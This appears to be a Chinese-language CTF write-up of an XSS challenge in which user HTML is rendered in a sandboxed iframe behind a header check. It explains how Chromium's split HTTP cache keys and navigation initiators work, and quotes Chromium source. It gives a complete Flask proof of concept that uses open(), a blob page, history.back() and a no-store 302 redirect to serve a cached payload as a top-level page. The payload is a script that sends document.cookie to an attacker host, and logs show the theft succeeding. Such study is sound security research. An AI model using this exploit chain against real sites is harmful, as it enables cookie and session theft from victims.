总会有一些好玩的事情值得我去研究

(也是忙着新东西没时间写很多文章了)

老生常谈的xss,不过这次非常不一样

用了一些比较脑洞大开的trick,想来也是非常有趣的,以下是源码

from flask import Flask, request, make_response

app = Flask(__name__)
SECRET = "flag{this_is_a_dummy_flag}"

@app.get("/")
def index():
    return """
<body>
  <h1>XSS Challenge</h1>
  <form action="/">
    <textarea name="html" rows="4" cols="36"></textarea>
    <button type="submit">Render</button>
  <form>
  <script type="module">
    const blob = await fetch("/render" + location.search, {
      headers: { "X-From-Script": "1" },
    }).then((r) => r.blob());
    if (blob.size) {
      document.forms[0].html.value = await blob.text();
      const iframe = document.createElement("iframe");
      iframe.setAttribute("sandbox", "");
      iframe.src = URL.createObjectURL(blob);
      document.body.append(iframe);
    }
  </script>
</body>
    """.strip()

@app.get("/render")
def render():
    if not request.headers.get("X-From-Script", ""):
        return "Use script", 400
    res = make_response(request.args.get("html", ""))
    return res



if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=3000)

可以看到访问首页后提交的html被丢入iframe并且设置了sandbox,rander路由返回了原始的html,

但是因为sandbox我无法执行js,并且直接访问render想直接渲染,但是我无法控制bot的X-From-Script头,那就直接返回400了

表格是实验结果

路径

结果

直接导航到 /render?html=<script>

没带 X-From-Script,直接 400

攻击者页面跨源 fetch 补上这个头

自定义头会触发 CORS preflight,靶机又没给任何 Access-Control-Allow-*,这个请求压根发不出去

首页自己的同源 fetch(头就是它带的)

拿得到 payload,但会被塞进 sandbox="" 的 iframe,脚本不跑

那么目标就很清楚了,得让同一份响应,以顶层文档的身份再被渲染一次

看上去完全没有办法,那就开始研究吧

先引入一下新Chromium 的cache的机制

因为注意到

  if (blob.size) {
      document.forms[0].html.value = await blob.text();
      const iframe = document.createElement("iframe");
      iframe.setAttribute("sandbox", "");
      iframe.src = URL.createObjectURL(blob);
      document.body.append(iframe);
    }

是发生在服务端返回的后面的,这样的话cache也就和后续的js没有关系

这里可以再想一步,缓存是在HTTP 层就落地的,fetch 一拿到响应,浏览器就已经把它存到本地磁盘了,

跟这之后页面把响应拿去干嘛没有关系,不管是塞进 iframe,还是转成 blob,还是直接丢掉

也就是说这份响应已经在浏览器的缓存里了,剩下要解决的只是怎么把它读出来

而且cache是发生在顶层文档的,html会进行解析,我可以控制的只有bot访问,接下来怎么办呢

在看这张表之前,得先把 initiator 说一下,不然后面几行对不上

initiator 就是这次请求或者导航是谁发起的,它可以是一个 origin,也可以是 null,null 表示没有网页发起它,

在请求头里它就表现为 Sec-Fetch-Site

发起方式

initiator

Sec-Fetch-Site

地址栏输入 / 右键新标签页 / page.goto

null

none

evil.com 上 location = "victim"

evil.com

cross-site

evil.com 上跨源 fetch

evil.com

cross-site

从 a.victim.com 导航到 victim.com

同站

same-site

evil.com 返回 302 跳去 victim

还是 evil.com,重定向不改变 initiator

cross-site

所以抓包看 Sec-Fetch-Site 就能反推 initiator,这个后面会一直用到

cache的调用因素如下

#

因素

来源

说明

1

URL

请求

字符级完全一致,连百分号编码都要一样

2

top-frame site

NetworkIsolationKey

地址栏那个页面的站点(eTLD+1)

3

frame site

NetworkIsolationKey

真正发请求的那个 frame 的站点

4

s_

is_subframe_document_resource

这次是"子框架的文档资源"吗

5

cn_

is_mainframe_navigation && initiator.has_value() && !IsSameSite(initiator, url)

这次是"跨站发起的主框架导航"吗

6

credential 前缀

LOAD_DO_NOT_SAVE_COOKIES

"1/"(带 credentials)/"0/"(不带)

7

upload id

请求体

POST body 的标识;GET 恒为 0

8

_dk_

分区缓存总开关

有没有开 network state partitioning

这张表里面其实真正要盯的只有两行

第 4 行的 s_,是说这次如果算子框架的文档资源,key 会多一个 s_ 前缀,

第 5 行的 cn_,是说这次如果是跨站发起的主框架导航,key 会多一个 cn_ 前缀

也就是说同一个 URL,同一个 top-frame 和 frame,现在可能会有两个互不相干的缓存槽

..._dk_<NA key> <url>        默认槽
..._dk_cn_<NA key> <url>     跨站槽    只多了 "cn_"

而首页那次 fetch 是子资源请求,is_mainframe_navigation 直接就是 false,所以它写进去的东西永远落在默认槽,这一点后面要用

需要注意的是frame site以及cn,需要的是no-cross-site,但是我只能控制我的页面的js

把那个判断式再读一遍会更清楚一点

is_mainframe_navigation && initiator.has_value() && !IsSameSite(initiator, url)

三个条件是同时成立才会打上 cn_,所以不要 cn_ 其实有两条路,要么 initiator 是 null,has_value() 为假,要么 initiator 和目标同站

而 top-frame site 和 frame site 这两项,我们两次请求天然就是同一个靶机站点,不用管

可以注意到直接访问 / 以及同源fetch是没有改变initiator,page goto也是原本浏览器发起,initiator也为null,

以及实测redirect也是没有改变initiator的

但是location以及跨站的fetch是cross-site,

这几条实测,直接看靶机收到的 Sec-Fetch-Site 最直观

page.goto → 攻击者服务器 302 → 靶机          靶机看到: none         null 保住了
page.goto → 攻击者页 → JS location= → 靶机    靶机看到: cross-site   变成攻击者了

起点都是 page.goto,initiator 都是 null,只有怎么到靶机这一步不一样,结果就完全相反

302 是同一次导航改道,跑者不换人,location= 是另起一次新导航,跑者被换成了攻击者站点

这个区别就是后面整个gadget的地基

由此可得思路,让bot导航到攻击者页面后,执行js,

page goto到xss地址并且同源fetch render,这时返回的是html以及200响应

但是因为sandbox是没有渲染的,无法执行,所以让bot二次访问,并且设定blob协议,history.back( )

再将攻击者的 / 重定向到目标的/view,如此就可以命中缓存,直接return payload到bot的顶层文档

如此xss也就渲染了,并没有服务端的下一步

整条链拆开如下

1,bot page.goto 到攻击者页面,这是浏览器发起的,initiator 为 null,这条历史记录会被存下来

2,攻击者页面的 js 执行 open,打开靶机的 /?html=payload,这一步只是骗靶机首页加载起来,它本身是跨站导航,但是无所谓

3,靶机首页自己的脚本发出那个带头的同源 fetch 到 /render,返回 200 加上 html,落进默认槽,因为这是子资源请求,没有 cn_

4,攻击者页面的 js 执行 location = blob,造一条历史记录当垫脚石,blob 是内存里的页面,不会联网

5,blob 页面执行 history.back(),回到第一条记录,用记录里的 initiator,也就是 null

6,攻击者服务器第二次被访问,回 302 跳到 /render?html=payload,同一次导航改道,null 原封不动带过去

7,浏览器算 key,是主框架导航,但是 initiator 为空,不加 cn_,查默认槽命中,不联网,服务器那个 if 根本没被调用,payload 被当成顶层文档渲染,xss

要注意的是,在302重定向时需要no-store,不然默认是不会发起请求的,请求后也就会把payload恢复

poc如下

#!/usr/bin/env python3
# framed-xss PoC — python3 poc.py
from flask import Flask, redirect, request
from urllib.parse import quote
import json

def encodeURIComponent(s):
    return quote(s, safe="~()*!'")

app = Flask(__name__)

REMOTE   = "http://victim.localhost:3000"     
ENDPOINT = "/render"                         
SELF     = "http://attacker.localhost:7777"   
PAYLOAD  = "<script>fetch('%s/x?c='+encodeURIComponent(document.cookie))</script>" % SELF
PORT     = 7777


@app.after_request
def add_headers(resp):
    resp.headers["Cache-Control"] = "no-store, no-cache"
    return resp
i = 0
@app.get("/")
def index():
    global i
    i = (i + 1) % 2
    if i == 1:           
        return r"""
<script>
const sleep = ms => new Promise(res => setTimeout(res, ms))
const remote = %s
const payload = %s
;(async()=>{
    open(new URL('/?html=' + encodeURIComponent(payload), remote))
    await sleep(1000)
    location = URL.createObjectURL(new Blob([`
        <script>setTimeout(()=>history.back(), 1000)<\/script>
    `], { type: "text/html" }))
})()
</script>
""" % (json.dumps(REMOTE), json.dumps(PAYLOAD).replace("</", "<\\/"))
    return redirect("%s%s?html=%s" % (REMOTE, ENDPOINT, encodeURIComponent(PAYLOAD)))

@app.get("/x")
def exfil():
    print("\n[+PWN] cookie = %r\n" % request.args.get("c"), flush=True)
    return "ok"

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=PORT)

所以想来cache都是满足的

实测跑起来,靶机的日志如下,/render 只出现了一次,就是第 3 步那次 fetch

[EXPLOIT] /        sfs=none         
[VICTIM ] /        sfs=cross-site   
[VICTIM ] /render  X-From-Script=1  
[EXPLOIT] /        sfs=none        
(没有第二次 /render 请求)           
[ATTACKER] /x      sfs=cross-site
[+PWN] document.cookie = flag=...

最后那次 /render 导航在靶机日志里完全不存在,但是 xss 执行了,cookie 也打出来了,

这就是缓存命中,不联网,服务器的头检查根本没被调用最直接的证明

顺着这个还能做个小实验,同一个 payload,用 text/html 存进缓存,顶层导航过去脚本会执行,

换成 text/plain 存的话,缓存一样命中,字节也一模一样,但是页面只会把 script 原样显示成文字,

可见从哪里拿到响应和响应怎么被渲染其实是两件独立的事情,缓存只管前面那件,后面那件是 Content-Type 和渲染上下文决定的

攻击者这页必须 no-store,不然 history.back() 会直接从 bfcache 把页面恢复出来,根本不发请求,302 就送不出去了

附上Chromium关于cache相关的处理源码

// static
std::optional<std::string> HttpCache::GenerateCacheKey(
    const GURL& url,
    int load_flags,
    const NetworkIsolationKey& network_isolation_key,
    std::optional<int64_t> upload_data_identifier,
    bool is_subframe_document_resource,
    bool is_mainframe_navigation,          // ← 是不是主框架导航
    bool is_shared_resource,
    std::optional<url::Origin> initiator,  // ← 发起者,可为 nullopt
    bool include_url) {
  std::string isolation_key;
  if (IsSplitCacheEnabled()) {
    if (network_isolation_key.IsTransient()) {
      return std::nullopt;
    }
    if (!is_shared_resource) {
      const std::string_view subframe_prefix =
          is_subframe_document_resource ? kSubframeDocumentResourcePrefix : "";

      // 新加的那个维度就是这里
      const bool is_cross_site_main_frame_navigation =
          is_mainframe_navigation && initiator.has_value() &&
          !net::SchemefulSite::IsSameSite(*initiator, url::Origin::Create(url));
      const std::string_view cross_site_prefix =
          is_cross_site_main_frame_navigation
              ? kCrossSiteMainFrameNavigationPrefix
              : "";

      isolation_key = base::StrCat({
          kDoubleKeyPrefix,          // "_dk_"
          subframe_prefix,           // "s_" 或 ""
          cross_site_prefix,         // "cn_" 或 ""
          *network_isolation_key.ToCacheKeyString(),
          include_url ? kDoubleKeySeparator : "",
      });
    }
  }
  ...
  // key 形状: credential_key/upload_id/[isolation_key]url
  return base::StrCat({credential_prefix, ...,
                       isolation_key, include_url ? HttpUtil::SpecForRequest(url) : ""});
}

以上